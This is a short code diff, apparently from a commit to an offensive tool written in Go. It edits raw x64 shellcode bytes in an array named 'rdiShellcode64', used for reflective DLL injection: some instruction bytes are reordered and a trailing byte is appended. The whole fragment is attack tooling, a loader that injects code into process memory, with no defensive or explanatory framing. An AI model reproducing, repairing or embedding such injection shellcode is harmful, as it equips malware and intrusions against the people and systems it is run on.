@@ -39,8 +39,8 @@ var rdiShellcode64 = []byte{
3939 0x66 , 0x83 , 0xFB , 0x0A , 0x75 , 0x15 , 0x25 , 0xFF ,
4040 0x0F , 0x00 , 0x00 , 0x03 , 0x02 , 0x48 , 0x03 , 0x45 ,
4141 0x10 , 0x48 , 0x8B , 0x18 , 0x48 , 0x03 , 0x1C , 0x24 ,
42- 0x48 , 0x89 , 0x18 , 0x48 , 0x3B , 0xCE , 0x74 , 0x06 ,
43- 0x48 , 0x83 , 0xC6 , 0x02 , 0xEB , 0xD2 , 0x8B , 0x42 ,
42+ 0x48 , 0x89 , 0x18 , 0x48 , 0x83 , 0xC6 , 0x02 , 0x48 ,
43+ 0x3B , 0xCE , 0x74 , 0x02 , 0xEB , 0xD2 , 0x8B , 0x42 ,
4444 0x04 , 0x48 , 0x03 , 0xD0 , 0xEB , 0xBA , 0x5B , 0x48 ,
4545 0x8B , 0x45 , 0x18 , 0x8B , 0x80 , 0x90 , 0x00 , 0x00 ,
4646 0x00 , 0x4C , 0x8B , 0x65 , 0x10 , 0x4C , 0x03 , 0xE0 ,
@@ -117,7 +117,8 @@ var rdiShellcode64 = []byte{
117117 0x58 , 0x41 , 0x5C , 0x5E , 0x59 , 0x5A , 0x41 , 0x58 ,
118118 0x41 , 0x59 , 0x41 , 0x5A , 0x48 , 0x83 , 0xEC , 0x20 ,
119119 0x41 , 0x52 , 0xFF , 0xE0 , 0x58 , 0x41 , 0x58 , 0x5A ,
120- 0x48 , 0x8B , 0x12 , 0xE9 , 0x46 , 0xFF , 0xFF , 0xFF }
120+ 0x48 , 0x8B , 0x12 , 0xE9 , 0x46 , 0xFF , 0xFF , 0xFF ,
121+ 0x00 }
121122
122123// 辅助函数:将32位整数打包为小端字节序
123124func pack (val uint32 ) []byte {
0 commit comments